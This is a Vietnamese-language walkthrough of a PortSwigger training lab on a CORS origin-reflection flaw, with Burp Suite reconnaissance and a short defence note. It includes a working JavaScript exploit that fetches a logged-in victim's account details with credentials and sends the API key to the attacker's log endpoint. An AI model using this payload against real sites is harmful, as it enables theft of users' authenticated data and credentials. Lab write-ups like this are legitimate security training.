---
title: 'Lab: CORS vulnerability with basic origin reflection'
disqus: Aow_Phwc
---
Lab: CORS vulnerability with basic origin reflection
===
Đề bài
---
Đây là bài Lab về lỗ hổng CORS : [Lab: CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)

Reconnaisse
---
1. Mình đăng nhập với account của bài lab cho tài khoản là wiener và mật khẩu là peter.
2. Sau khi đăng nhập thì người ta cho chúng ta một trang xuất hiện API key.

3. Mình dùng Burp Suite để xem ở trang nào chứa thông tin về API key

4. Mình thấy được rằng lỗi CORS có thể xuất hiện khi mình thêm Origin, mình sẽ sẽ thêm Origin bất kì xem Response sẽ như thế nào

5. Nhìn ảnh trên có thể lỗ hổng CORS đã xuất hiện khi mình có thể thêm 1 `Origin` bất kì và trang web đã phải hồi lại với `Access-Control-Allow-Origin:` mà không có lọc nó.
6. Giải thích qua thì khi sever của web chấp nhận `Origin` của mình thì mình có thể lấy dữ liệu từ trang web đó, trong trường này là API key
Attack
---
1. Mình phải viết 1 đoạn javascript để có thể connect được với trang web của portswigger để lấy dữ liệu

2. Giải thích về script
```
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
- Nói qua thì script này truy cập vào trang của nạn nhân khi nạn nhân nhấp vào link và và ghi lại dữ liệu của trang web vào `/log`
3. Gửi cho nạn nhân, trong bài lab này thì chúng ta thực hiện các bước giống portswigger

4. Thông tin APIkey đã nằm trong access log bởi vì nạn nhân( ở đây là admin) đã truy cập vào trang web của chúng ta tạo nên chúng ta đã thu thập được

5. Để cho burp Suite decode ta đã thu được API key

Post Attack
---
1. Xem các cách phòng thủ
- Chủ yếu ở đây mình thấy nên lọc giữ liệu đầu vào của `Origin`
2. Xem các cách bypass khác
# Link bài viết tham khảo về CSRF
[Hacktricks](https://book.hacktricks.xyz/pentesting-web/cors-bypass)
[PortSwigger](https://portswigger.net/web-security/cors)